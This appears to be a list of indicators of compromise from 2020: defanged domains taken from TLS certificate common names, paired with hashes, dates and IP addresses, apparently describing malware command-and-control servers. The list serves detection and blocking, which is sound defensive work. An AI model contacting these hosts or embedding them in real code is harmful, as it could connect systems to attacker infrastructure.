CN=easytus[.]com 17de38c58e04242ee56a9f3a94e6fd53 2/17/20 45.77.89.31:443 CN=besttus[.]com 2bda8217bdb05642c995401af3b5c1f3 2/17/20 95.179.147.215:443 CN=windefens[.]com 57725c8db6b98a3361e0d905a697f9f8 2/17/20 155.138.216.133:443 CN=defenswin[.]com c07774a256fc19036f5c8c60ba418cbf 2/17/20 104.238.190.126:443 CN=aaatus[.]com 4039af00ce7a5287a3e564918edb77cf 2/17/20 144.202.83.4:443 CN=greattus[.]com 7f0fa9a608090634b42f5f17b8cecff0 2/17/20 104.156.245.0:443 CN=comssite[.]com f5bb98fafe428be6a8765e98683ab115 2/17/20 45.32.30.162:443 CN=bigtus[.]com 698fc23ae111381183d0b92fe343b28b 2/17/20 108.61.242.184:443 CN=livetus[.]com 8bedba70f882c45f968c2d99b00a708a 2/17/20 207.148.15.31:443 CN=findtus[.]com 15f07ca2f533f0954bbbc8d4c64f3262 2/17/20 149.28.15.247:443 CN=firsttus[.]com 88e8551f4364fc647dbf00796536a4c7 2/21/20 155.138.136.182:443 CN=worldtus[.]com b31f38b2ccbbebf4018fe5665173a409 2/25/20 45.77.58.172:443 CN=freeoldsafe[.]com a46e77b92e1cdfec82239ff54f2c1115 2/25/20 45.77.58.172:443 CN=freeoldsafe[.]com a46e77b92e1cdfec82239ff54f2c1115 2/26/20 108.61.72.29:443 CN=myserviceconnect[.]net 9f551008f6dcaf8e6fe363caa11a1aed 2/27/20 216.155.157.249:443 CN=myserviceupdater[.]com 4c6a2c06f1e1d15d6be8c81172d1c50c 2/28/20 45.77.98.157:443 CN=topservicesbooster[.]com ba4b34962390893852e5cc7fa7c75ba2 2/28/20 104.156.250.132:443 CN=myservicebooster[.]com 89be5670d19608b2c8e261f6301620e1 2/28/20 149.28.50.31:443 CN=topsecurityservice[.]net 77e2878842ab26beaa3ff24a5b64f09b 2/28/20 149.28.55.197:443 CN=myyserviceupdater[.]com 0dd8fde668ff8a301390eef1ad2f9b83 2/28/20 207.246.67.70:443 CN=servicesecurity[.]org c88098f9a92d7256425f782440971497 2/28/20 63.209.33.131:443 CN=serviceupdates[.]net 16e86a9be2bdf0ddc896bc48fcdbb632 2/29/20 45.77.206.105:443 CN=myservicebooster[.]net 6e09bb541b29be7b89427f9227c30a32 2/29/20 140.82.5.67:443 CN=servicesbooster[.]org 42d2d09d08f60782dc4cded98d7984ed 2/29/20 108.61.209.123:443 CN=brainschampions[.]com 241ab042cdcb29df0a5c4f853f23dd31 2/29/20 104.156.227.250:443 CN=servicesbooster[.]com f45f9296ff2a6489a4f39cd79c7f5169 2/29/20 140.82.10.222:443 CN=topservicesecurity[.]net b9375e7df4ee0f83d7abb179039dc2c5 2/29/20 149.28.35.35:443 CN=topservicesecurity[.]org 82bd8a2b743c7cc3f3820e386368951d 2/29/20 207.148.21.17:443 CN=topserviceupdater[.]com ece184f8a1309b781f912d4f4d65738e 2/29/20 45.77.153.72:443 CN=topservicesupdate[.]com 8330c3fa8ca31a76dc8d7818fd378794 3/1/20 140.82.10.222:80 CN=topservicesecurity[.]net b9375e7df4ee0f83d7abb179039dc2c5 3/1/20 207.148.21.17:80 CN=topserviceupdater[.]com ece184f8a1309b781f912d4f4d65738e 3/1/20 108.61.90.90:443 CN=topservicesecurity[.]com 696aeb86d085e4f6032e0a01c496d26c 3/1/20 45.32.130.5:80 CN=avrenew[.]com f32ee1bb35102e5d98af81946726ec1b 3/2/20 217.69.15.175:443 CN=serviceshelpers[.]com 9a437489c9b2c19c304d980c17d2e0e9 3/2/20 155.138.135.182:443 CN=topservicesupdates[.]com b9deff0804244b52b14576eac260fd9f 3/2/20 95.179.210.8:80 CN=serviceuphelper[.]com bb65efcead5b979baee5a25756e005d8 3/2/20 45.76.45.162:443 CN=boostsecuritys[.]com 7d316c63bdc4e981344e84a017ae0212 3/4/20 108.61.176.237:443 CN=yoursuperservice[.]com 7424aaede2f35259cf040f3e70d707be 3/4/20 207.246.67.70:443 CN=servicesecurity[.]org d66cb5528d2610b39bc3cecc20198970 3/6/20 188.166.52.176:443 CN=top-servicebooster[.]com f882c11b294a94494f75ded47f6f0ca0 3/7/20 149.248.56.113:443 CN=topservicehelper[.]com 2a29e359126ec5b746b1cc52354b4adf 3/8/20 199.247.13.144:443 CN=hakunamatatata[.]com e2cd3c7e2900e2764da64a719096c0cb 3/8/20 95.179.210.8:443 CN=serviceuphelper[.]com bb65efcead5b979baee5a25756e005d8 3/8/20 207.246.67.70:443 CN=servicesecurity[.]org d89f6bdc59ed5a1ab3c1ecb53c6e571c 3/9/20 194.26.29.230:443 CN=secondserviceupdater[.]com c30a4809c9a77cfc09314a63f7055bf7 3/9/20 194.26.29.229:443 CN=firstserviceupdater[.]com bc86a3087f238014b6c3a09c2dc3df42 3/9/20 194.26.29.232:443 CN=fourthserviceupdater[.]com 3dc6d12c56cc79b0e3e8cd7b8a9c320b 3/9/20 194.26.29.234:443 CN=sixthserviceupdater[.]com 951e29ee8152c1e7f63e8ccb6b7031c1 3/9/20 194.26.29.235:443 CN=seventhserviceupdater[.]com abe1ce0f83459a7fe9c72839fc46330b 3/9/20 194.26.29.236:443 CN=eighthserviceupdater[.]com c7a539cffdd230a4ac9a4754c2c68f12 3/9/20 194.26.29.237:443 CN=ninethserviceupdater[.]com 1d1f7bf2c0eec7a3a0221fd473ddbafc 3/9/20 194.26.29.225:443 CN=seventeenthservicehelper[.]com 6b1e0621f4d891b8575a229384d0732d 3/9/20 194.26.29.227:443 CN=nineteenthservicehelper[.]com 38756ffb8f2962f6071e770637a2d962 3/9/20 194.26.29.242:443 CN=thirdservicehelper[.]com 3b911032d08ff4cb156c064bc272d935 3/9/20 194.26.29.244:443 CN=tenthservicehelper[.]com a2d9b382fe32b0139197258e3e2925c4 3/9/20 194.26.29.226:443 CN=eighteenthservicehelper[.]com 4acbca8efccafd92da9006d0cc91b264 3/9/20 194.26.29.243:443 CN=ninthservicehelper[.]com 0760ab4a6ed9a124aabb8c377beead54 3/9/20 194.26.29.201:443 CN=secondservicehelper[.]com d8a8d0ad9226e3c968c58b5d2324d899 3/9/20 194.26.29.202:443 CN=thirdservicehelper[.]com 0d3b79158ceee5b6ce859bb3fc501b02 3/9/20 194.26.29.220:443 CN=fourservicehelper[.]com 831e0445ea580091275b7020f2153b08 3/11/20 207.246.67.70:80 CN=servicesecurity[.]org d89f6bdc59ed5a1ab3c1ecb53c6e571c 3/13/20 165.227.196.0:443 CN=twentiethservicehelper[.]com 977b4abc6307a9b3732229d4d8e2c277 3/14/20 45.141.86.91:443 CN=thirdservice-developer[.]com edc2680e3797e11e93573e523bae7265 3/14/20 194.26.29.219:443 CN=firstservisehelper[.]com 6b444a2cd3e12d4c3feadec43a30c4d6 3/14/20 45.141.86.93:443 CN=fifthservice-developer[.]com 60e7500c809f12fe6be5681bd41a0eda 3/15/20 45.141.86.90:443 CN=secondservice-developer[.]com de9460bd6b1badb7d8314a381d143906 3/15/20 45.141.86.84:443 CN=firstservice-developer[.]com 6385acd425e68e1d3fce3803f8ae06be 3/17/20 45.141.86.96:443 CN=eithtservice-developer[.]com e1d1fb4a6f09fb54e09fb27167028303 3/17/20 45.141.86.92:443 CN=fourthservice-developer[.]com 5b5375bf30aedfa3a44d758fe42fccba 3/18/20 45.141.86.94:443 CN=sixthservice-developer[.]com 4d42bea1bfc7f1499e469e85cf75912c 3/18/20 108.61.209.121:443 CN=service-booster[.]com 692ed54fb1fb189c36d2f1674db47e45 3/18/20 134.122.116.114:443 CN=service-helpes[.]com ad0914f72f1716d810e7bd8a67c12a71 3/18/20 209.97.130.197:443 CN=helpforyourservice[.]com 00fe3cc532f876c7505ddbf5625de404 3/18/20 192.241.143.121:443 CN=serviceshelps[.]com e50998208071b4e5a70110b141542747 3/18/20 45.141.86.95:443 CN=seventhservice-developer[.]com 413ca4fa49c3eb6eef0a6cbc8cac2a71 3/18/20 198.211.116.199:443 CN=actionshunter[.]com 8e5bedbe832d374b565857cce294f061 3/18/20 45.141.86.155:443 CN=sexyservicee[.]com cca37e58b23de9a1db9c3863fe2cd57c 3/19/20 194.26.29.239:443 CN=eleventhserviceupdater[.]com 7e0fcb78055f0eb12bc8417a6933068d 3/19/20 45.141.86.206:443 CN=servicedhunter[.]com fdefb427dcf3f0257ddc53409ff71d22 3/19/20 45.141.86.92:443 CN=service-updateer[.]com 51ba9c03eac37751fe06b7539964e3de 3/19/20 134.122.116.59:443 CN=servicedbooster[.]com db7797a20a5a491fb7ad0d4c84acd7e8 3/19/20 134.122.118.46:443 CN=servicedpower[.]com 7b57879bded28d0447eea28bacc79fb5 3/19/20 134.122.124.26:443 CN=serviceboostnumberone[.]com 880982d4781a1917649ce0bb6b0d9522 3/20/20 45.141.86.97:443 CN=ninethservice-developer[.]com e4a720edfcc7467741c582cb039f20e0 3/20/20 178.62.247.205:443 CN=top-serviceupdater[.]com a45522bd0a26e07ed18787c739179ccb 3/20/20 159.203.36.61:443 CN=yourserviceupdater[.]com 7b422c90dc85ce261c0a69ba70d8f6b5 3/20/20 134.122.20.117:443 CN=fifthserviceupdater[.]com 99aa16d7fc34cdcc7dfceab46e990f44 3/23/20 165.22.125.178:443 CN=servicemonsterr[.]com 82abfd5b55e14441997d47aee4201f6d 3/24/20 69.55.60.140:443 CN=boostyourservice[.]com 7f3787bf42f11da321461e6db7f295d1 3/24/20 45.141.86.98:443 CN=tenthservice-developer[.]com eef29bcbcba1ce089a50aefbbb909203 3/26/20 178.79.132.82:443 CN=developmasters[.]com 5cf480eba910a625e5e52e879ac5aecb 3/26/20 194.26.29.247:443 CN=thirteenthservicehelper[.]com 2486df3869c16c0d9c23a83cd61620c2 5/4/20 159.65.216.127:443 CN=info-develop[.]com 5f7a5fb72c6689934cc5d9c9a681506b 9/22/20 69.61.38.155:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=gtrsqer[.]com d37ba4a4b1885e96ff54d1f139bf3f47 9/22/20 96.9.225.144:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=hakunaman[.]com 4408ba9d63917446b31a0330c613843d 9/22/20 96.9.209.216:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=caonimas[.]com d921dd1ba03aaf37d5011020577e8147 9/22/20 107.173.58.176:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=chalengges[.]com dfeb6959b62aff0b93ca20fd40ef01a8 9/22/20 96.9.225.143:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=reginds[.]com 05c03b62dea6ec06006e57fd0a6ba22e 9/22/20 69.61.38.156:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=errvghu[.]com c14a892f8203a04c7e3298edfc59363a 9/22/20 45.34.6.229:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=harddagger[.]com 7ed16732ec21fb3ec16dbb8df0aa2250 9/22/20 45.34.6.226:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=getinformationss[.]com 1788068aff203fa9c51d85bf32048b9c 9/22/20 45.34.6.225:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=gameleaderr[.]com 0fff2f721ad23648175d081672e77df4 9/22/20 107.173.58.185:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=razorses[.]com b960355ba112136f93798bf85e6392bf 9/22/20 107.173.58.183:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=nomadfunclub[.]com a3d4e6d1f361d9c335effdbd33d12e79 9/22/20 107.173.58.175:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=bouths[.]com e13fbdff954f652f14faf11b735c0ef8 9/22/20 185.184.223.194:443 C=US,ST=CA,L=Texas,O=lol,OU=,CN=regbed[.]com 67310b30bada4f77f8f336438890d8f2 9/22/20 109.70.236.134:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=vnuret[.]com ae74cbb9838688363b7928b06963c40a 9/23/20 64.44.131.103:443 C=US,ST=TX,L=Texas,O=serviceswork,OU=,CN=serviceswork[.]net af518cc031807f43d646dc508685bcd3 9/23/20 69.61.38.157:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=moonshardd[.]com c8fd81d6d3c8cbb8256c470a613a7c7b 9/23/20 193.142.58.129:443 C=US,ST=TX,L=Texas,O=zapored,OU=,CN=zapored[.]com 5a22c3c8a0ed6482cad0e2b867c4c10c 9/23/20 45.34.6.223:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=hurrypotter[.]com bf598ba46f47919c264514f10ce80e34 9/23/20 107.173.58.179:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=biliyilish[.]com 1c8243e2787421373efcf98fc0975031 9/23/20 45.34.6.222:443 C=US,ST=TX,L=Texas,O=dagger,OU=,CN=daggerclip[.]com 576d65a68900b270155c2015ac4788bb 9/23/20 107.173.58.180:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=blackhoall[.]com 69643e9b1528efc6ec9037b60498b94c 9/23/20 107.173.58.182:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=checkhunterr[.]com ca9b7e2fcfd35f19917184ad2f5e1ad3 9/23/20 45.34.6.221:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=check4list[.]com e5e0f017b00af6f020a28b101a136bad 9/24/20 213.252.244.62:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=ayiyas[.]com 8367a1407ae999644f25f665320a3899 9/24/20 185.25.50.167:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=chainnss[.]com 34a78f1233e53010d29f2a4fa944c877 9/30/20 88.119.171.75:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=martahzz[.]com eaebbe5a3e3ea1d5992a4dfd4af7a749 10/1/20 88.119.171.74:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=jonsonsbabyy[.]com adc8cd1285b7ae62045479ed39aa37f5 10/1/20 88.119.171.55:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=tiancaii[.]com bfe1fd16cd4169076f3fbaab5afcbe12 10/1/20 88.119.171.67:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=cantliee[.]com c8a623eb355d172fc3e083763934a7f7 10/1/20 88.119.171.76:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=realgamess[.]com 0ac5659596008e64d4d0d90dfb6abe7c 10/1/20 88.119.171.68:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=maybebaybe[.]com 48003b6b638dc7e79e75a581c58f2d77 10/1/20 88.119.171.69:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=saynoforbubble[.]com 5c75a6bbb7454a04b9ea26aa80dfbcba 10/1/20 88.119.171.73:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=chekingking[.]com e391c997b757424d8b2399cba4733a60 10/1/20 88.119.171.77:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=wondergodst[.]com 035697cac0ee92bb4d743470206bfe9a 10/1/20 88.119.171.78:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=zetrexx[.]com fc133bed713608f78f9f112ed7498f32 10/1/20 213.252.244.38:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=mountasd[.]com 8ead6021e2a5b9191577c115d4e68911 10/1/20 107.173.58.184:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=pudgeee[.]com 1c9949d20441df2df09d13778b751b65 10/1/20 88.119.174.109:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=loockfinderrs[.]com c0ddfc954aa007885b467f8c4f70ad75 10/1/20 88.119.174.110:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=puckhunterrr[.]com ee63098506cb82fc71a4e85043d4763f 10/1/20 88.119.174.114:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=voiddas[.]com 422b020be24b346da826172e4a2cf1c1 10/1/20 88.119.174.116:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=sibalsakie[.]com 8d8f046e963bcd008fe4bbed01bed4c8 10/1/20 88.119.174.117:443 C=US,ST=TX,L=TExas,O=lol,OU=,CN=rapirasa[.]com c381fb63e9cb6b0fc59dfaf6e8c40af3 10/1/20 88.119.174.118:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=raidbossa[.]com add6b742d0f992d56bede79888eef413 10/1/20 88.119.174.119:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=lindasak[.]com 9bbd073033e34bfd80f658f0264f6fae 10/1/20 88.119.174.121:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=bithunterr[.]com 9afef617897e7089f59c19096b8436c8 10/1/20 88.119.174.120:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=giveasees[.]com 3f366e5f804515ff982c151a84f6a562 10/1/20 88.119.174.107:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=shabihere[.]com c2f99054e0b42363be915237cb4c950b 10/1/20 88.119.174.125:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=tarhungangster[.]com 4ac8ac12f1763277e35da08d8b9ea394 10/1/20 88.119.174.126:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=imagodd[.]com 7080547306dceb90d809cb9866ed033c 10/1/20 88.119.174.127:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=raaidboss[.]com 03037dff61500d52a37efd4b4f520518 10/1/20 88.119.174.128:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=sunofgodd[.]com 959bed7a2662d7274b303f3b120fddea 10/1/20 213.252.244.126:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=hungrrybaby[.]com 1d28556cc80df9627c20316358b625d6 10/1/20 213.252.244.170:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=loxliver[.]com 85e65803443046f921b9a0a9b8cc277c 10/1/20 213.252.246.154:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicegungster[.]com 9df6ba82461aa0594ead03993c0e4c42 10/5/20 5.2.64.113:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=qascker[.]com 18aadee1b82482c3cd5ebe32f3628f3f 10/7/20 5.2.79.122:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=cheapshhot[.]com 94bc44bd438d2e290516d111782badde 10/7/20 88.119.171.94:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=havemosts[.]com f0ede92cb0899a9810a67d716cdbebe2 10/7/20 5.2.64.133:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=mixunderax[.]com e0f9efedd11d22a5a08ffb9c4c2cbb5a 10/7/20 5.2.64.135:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=bugsbunnyy[.]com 4aa2acabeb3ff38e39ed1d840124f108 10/7/20 5.2.72.202:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=sweetmonsterr[.]com c04034b78012cca7dcc4a0fb5d7bb551 10/7/20 88.119.175.153:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=zhameharden[.]com 2670bf08c43d995c74b4b83383af6a69 10/7/20 213.252.245.71:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=serviceboosterr[.]com 127cc347b711610c3bcee434eb8bf822 10/7/20 213.252.246.144:443 C=US,ST=TX,L=Texas,O=US,OU=,CN=servicewikii[.]com b3e7ab478ffb0213017d57a88e7b2e3b 10/7/20 5.2.64.149:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=sobcase[.]com 188f603570e7fa81b92906af7af177dc 10/7/20 5.2.64.144:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=unlockwsa[.]com 22d7f35e624b7bcee7bb78ee85a7945c 10/7/20 88.119.174.139:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=serviceupdatter[.]com 12c6e173fa3cc11cc6b09b01c5f71b0c 10/7/20 88.119.174.133:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-boosterr[.]com 28435684c76eb5f1c4b48b6bbc4b22af 10/7/20 88.119.175.214:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=dotmaingame[.]com 9c2d64cf4e8e58ef86d16e9f77873327 10/7/20 5.2.72.200:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=wodemayaa[.]com f6f484baf1331abf55d06720de827190 10/7/20 5.2.79.10:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=hybriqdjs[.]com d8eacda158594331aec3ad5e42656e35 10/7/20 5.2.79.12:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=gunsdrag[.]com 29032dd12ea17fc37ffff1ee94cc5ba8 10/7/20 5.2.79.121:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=gungameon[.]com eaf32b1c2e31e4e7b6d5c3e6ed6bff3d 10/7/20 5.2.64.174:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=quwasd[.]com 442680006c191692fcc3df64ec60d8fa 10/7/20 5.2.64.172:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=remotessa[.]com 0593cbf6b3a3736a17cd64170e02a78d 10/7/20 5.2.64.167:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=secondlivve[.]com 38df81824bd8cded4a8fa7ad9e4d1f67 10/7/20 5.2.64.182:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=luckyhunterrs[.]com 99dbe71ca7b9d4a1d9f722c733b3f405 10/7/20 88.119.171.97:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicesupdater[.]com 7d7199ffa40c50b6e5b025b8cb2661b2 10/7/20 88.119.171.96:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicemount[.]com f433d25a0dad0def0510cd9f95886fdb 10/7/20 96.9.209.217:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=fastbloodhunter[.]com e84c7aa593233250efac903c19f3f589 10/7/20 69.61.38.132:443 C=US,ST=CA,L=Mountainvew,O=Office,OU=,CN=kungfupandasa[.]com e6e80f6eb5cbfc73cde40819007dcc53 10/13/20 45.147.230.131:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=bakcup-monster[.]com 4fdeab3dad077589d52684d35a9ea4ab 10/13/20 45.147.229.92:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=bakcup-checker[.]com b70cdb49b26e6e9ba7d0c42d5f3ed3cb 10/13/20 45.147.229.68:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup-simple[.]com 57024c1fe5c4acaf30434ba1f58f9144 10/13/20 45.147.229.52:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup-leader[.]com ec5496048f1962494d239d377e53db0c 10/13/20 45.147.229.44:443 C=US,ST=TX,L=Texsa,O=lol,OU=,CN=backup-helper[.]com 938593ac1c8bdb2c5256540d7c8476c8 10/14/20 45.147.230.87:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=nasmastrservice[.]com cced46e0a9b6c382a97607beb95f68ab 10/14/20 45.147.230.159:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-leader[.]com e912980fc8e9ec1e570e209ebb163f65 10/14/20 45.147.230.141:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-checker[.]com 39d7160ce331a157d3ecb2a9f8a66f12 10/14/20 45.147.230.140:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=nas-simple-helper[.]com d9ca73fe10d52eef6952325d102f0138 10/14/20 45.147.230.133:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=nas-leader[.]com 920d04330a165882c8076c07b00e1d93 10/14/20 45.147.230.132:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=boost-servicess[.]com 771463611a43ee35a0ce0631ef244dee 10/14/20 45.147.229.180:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=elephantdrrive[.]com 1e4a794da7d3c6d0677f7169fbe3b526 10/14/20 45.147.230.159:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-leader[.]com 9c7fe10135f6ad96ded28fac51b79dfd 10/15/20 45.147.230.132:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=boost-servicess[.]com a78c0e2920e421667ae734d923dd5ca6 10/15/20 45.138.172.95:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-hellper[.]com a0b2378ceae498f46401aadeb278fb31 10/16/20 108.62.12.119:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=top-backuphelper[.]com e95bb7804e3add830496bd36664ed339 10/16/20 108.62.12.105:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=best-nas[.]com 8d5dc95b3bd4d16a3434b991a09bf77e 10/16/20 108.62.12.114:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=top-backupservice[.]com d5de2f5d2ca29da1724735cdb8fbc63f 10/16/20 108.62.12.116:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=bestservicehelper[.]com 9c7396ecd107ee8f8bf5521afabb0084 10/16/20 45.147.230.141:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-checker[.]com 1134a6f276f4297a083fc2a605e24f70 10/16/20 45.147.230.140:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=nas-simple-helper[.]com 2150045f476508f89d9a322561b28ff9 10/16/20 45.147.230.133:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=nas-leader[.]com f4ddc4562e5001ac8fdf0b7de079b344 10/19/20 74.118.138.137:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=top3-services[.]com 75fb6789ec03961c869b52336fa4e085 10/19/20 74.118.138.115:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=simple-backupbooster[.]com 9f5e845091015b533b59fe5e8536a435 10/19/20 108.177.235.53:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=best-backup[.]com 4b78eaa4f2748df27ebf6655ea8a7fe9 10/19/20 74.118.138.138:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=topbackup-helper[.]com bcccda483753c82e62482c55bc743c16 10/21/20 45.153.241.1:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup1helper[.]com 672c66dd4bb62047bb836bd89d2e1a65 10/21/20 45.153.240.240:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=checktodrivers[.]com 6825409698a326cc319ca40cd85a602e 10/21/20 45.153.240.194:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=driver1master[.]com 7f9be0302da88e0d322e5701d52d4128 10/21/20 45.153.240.138:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=boost-yourservice[.]com 2c6a0856d1a75b303337ac0807429e88 10/21/20 45.153.240.136:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup1master[.]com 6559dbf8c47383b7b493500d7ed76f6a 10/23/20 45.153.240.157:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=driver1updater[.]com 7bd044e0a6689ef29ce23e3ccb0736a3 10/23/20 45.153.240.178:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service1updater[.]com 9859a8336d097bc30e6e5c7a8279f18e 10/23/20 45.153.240.220:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=driverdwl[.]com 43fb2c153b59bf46cf6f67e0ddd6ef51 10/23/20 45.153.240.222:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=viewdrivers[.]com 22bafb30cc3adaa84fef747d589ab235 10/23/20 45.153.241.134:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=backups1helper[.]com 31e87ba0c90bb38b986af297e4905e00 10/23/20 45.153.241.138:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=driver1downloads[.]com f8a14846b7da416b14303bced5a6418f 10/23/20 45.153.241.146:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicehel[.]com 01abdaf870d859f9c1fd76f0b0328a2b 10/23/20 45.153.241.153:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-hel[.]com c2eaf144e21f3aef5fe4b1502d318ba6 10/23/20 45.153.241.158:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicereader[.]com de54af391602f3deea19cd5e1e912316 10/23/20 45.153.241.167:443 C=US,ST=TX,L=Texas,O=US,OU=,CN=view-backup[.]com 5f6fa19ffe5735ff81b0e7981a864dc8 10/23/20 45.147.231.222:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=top3servicebooster[.]com ff54a7e6f51a850ef1d744d06d8e6caa 10/23/20 45.153.241.141:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service1view[.]com 4cda9d0bece4f6156a80967298455bd5 10/26/20 74.118.138.139:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=topbackupintheworld[.]com e317485d700bf5e8cb8eea1ec6a72a1a 10/26/20 108.62.12.12:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=topservice-masters[.]com e0022cbf0dd5aa597fee73e79d2b5023 10/26/20 108.62.12.121:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=topservicebooster[.]com 44e7347a522b22cdf5de658a4237ce58 10/26/20 172.241.27.65:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup1services[.]com cd3e51ee538610879d6fa77fa281bc6f 10/26/20 172.241.27.68:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=backupmaster-service[.]com 04b6aec529b3656040a68e17afdabfa4 10/26/20 172.241.27.70:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=backupmasterservice[.]com 200c25c2b93203392e1acf5d975d6544 10/26/20 45.153.241.139:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=driver-boosters[.]com 9d7c52c79f3825baf97d1318bae3ebe2 10/27/20 45.153.241.14:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=service1update[.]com 5bae28b0d0e969af2c0eda21abe91f35 10/28/20 190.211.254.154:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=driverjumper[.]com a1e62e7e547532831d0dd07832f61f54 10/28/20 81.17.28.70:443 